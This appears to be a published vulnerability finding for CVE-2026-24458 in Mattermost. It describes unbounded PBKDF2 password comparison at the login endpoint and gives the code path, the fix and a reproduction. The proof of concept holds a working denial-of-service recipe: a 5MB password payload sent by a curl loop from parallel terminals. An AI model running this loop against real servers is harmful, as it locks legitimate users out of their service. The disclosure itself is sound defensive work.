← Findings
Mattermost2026CVE-2026-24458

Unbounded PBKDF2 hashing allows remote login DoS via oversized passwords (CVE-2026-24458)

Summary

A user could carry out a DoS attack by logging in with an extremely long password, causing the password hashing algorithm to monopolize the CPU and memory of the server

The PBKDF2.CompareHashAndPassword function accepts attacker-controlled plaintext passwords during authentication without enforcing the global PasswordMaxLengthBytes guard that is used when hashing passwords for storage. As a result, login attempts with multi-megabyte passwords are processed by PBKDF2 with 600k iterations over the full input. Each request can monopolize CPU and memory for hundreds of milliseconds, allowing a remote attacker to send a small number of large password attempts to exhaust worker threads and cause denial of service.

The fix ensures the password length bound is enforced in both Hash and Compare flows before invoking PBKDF2.

CVSS

VectorNComplexityHPrivilegesNUser interactionNScopeUConfidentialityNIntegrityNAvailabilityH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Source → Sink

Source

server/channels/app/authentication.go

Line 70 · checkUserPassword

Sink

server/channels/app/password/hashers/pbkdf2.go

Line 208 · PBKDF2.CompareHashAndPassword

Attack surface

The Mattermost login API (/api/v4/users/login). No credentials required.

Preconditions

Network access to the Mattermost login API. No authentication required. Rate limiting applies per request but does not cap password size and cannot mitigate resource exhaustion per request.

Impact

Login endpoint becomes unresponsive, legitimate users cannot authenticate, and overall server responsiveness degrades due to CPU exhaustion. A small number of parallel requests with multi-megabyte passwords can saturate the authentication workers and cause prolonged CPU spikes.

Exploit path

How the issue forms.

01server/channels/app/authentication.go:77

Login flow invokes CompareHashAndPassword with attacker-supplied plaintext password.

GO
err = hasher.CompareHashAndPassword(phc, password)
02server/channels/app/password/hashers/pbkdf2.go:208

CompareHashAndPassword hashes the password without length limits using PBKDF2.

GO
newHash, err := p.hashWithSalt(password, salt)
03server/channels/app/password/hashers/pbkdf2.go:135

PBKDF2 iterates 600k times over the full password input, causing CPU exhaustion.

GO
hash, err := pbkdf2.Key(defaultPRF, password, salt, p.workFactor, p.keyLength)

Proof of concept

Reproduction.

01

Environment

Requirements: Ubuntu 22.04 LTS.

Install dependencies:

BASH
sudo apt update
sudo apt install -y golang-go git curl

Clone and build:

BASH
git clone https://github.com/mattermost/mattermost.git
cd mattermost
make build

Start server:

BASH
./bin/mattermost --config config/config.json
02

Configuration

Create a test user (using mmctl or Admin Console). Server listens on http://localhost:8065.

03

Delivery

Craft a 5MB password payload:

BASH
python3 -c "from pathlib import Path; Path('large_pass.txt').write_text('A' * (5 * 1024 * 1024))"

Send repeated login attempts with the huge password:

BASH
while true; do
  curl -i -X POST 'http://localhost:8065/api/v4/users/login' \
    -H 'Content-Type: application/json' \
    -d @<(jq -nc --arg id '[email protected]' --arg pwd "$(cat large_pass.txt)" '{login_id:$id, password:$pwd}')
done

Start the loop from multiple terminals (5–10 parallel sessions).

04

Outcome

Remote unauthenticated attackers can saturate the authentication workers by sending very large password values, causing prolonged CPU spikes and preventing legitimate logins (denial of service).

Remediation

The fix.

Add a shared helper to enforce PasswordMaxLengthBytes for both hashing and comparison operations. Call the helper inside CompareHashAndPassword before PBKDF2 is invoked to ensure attacker-controlled inputs are bounded.

Before

TEXT
func (p PBKDF2) CompareHashAndPassword(hash phcparser.PHC, password string) error {
	// Validate parameters
	if !p.IsPHCValid(hash) {
		return fmt.Errorf("the stored password does not comply with the PBKDF2 parser's PHC serialization")
	}

After

TEXT
func (p PBKDF2) CompareHashAndPassword(hash phcparser.PHC, password string) error {
	if len(password) > PasswordMaxLengthBytes {
		return ErrPasswordTooLong
	}

	// Validate parameters
	if !p.IsPHCValid(hash) {
		return fmt.Errorf("the stored password does not comply with the PBKDF2 parser's PHC serialization")
	}

Continue

If this is the bar, see the product.

The archive is public. The product makes it repeatable.

View findings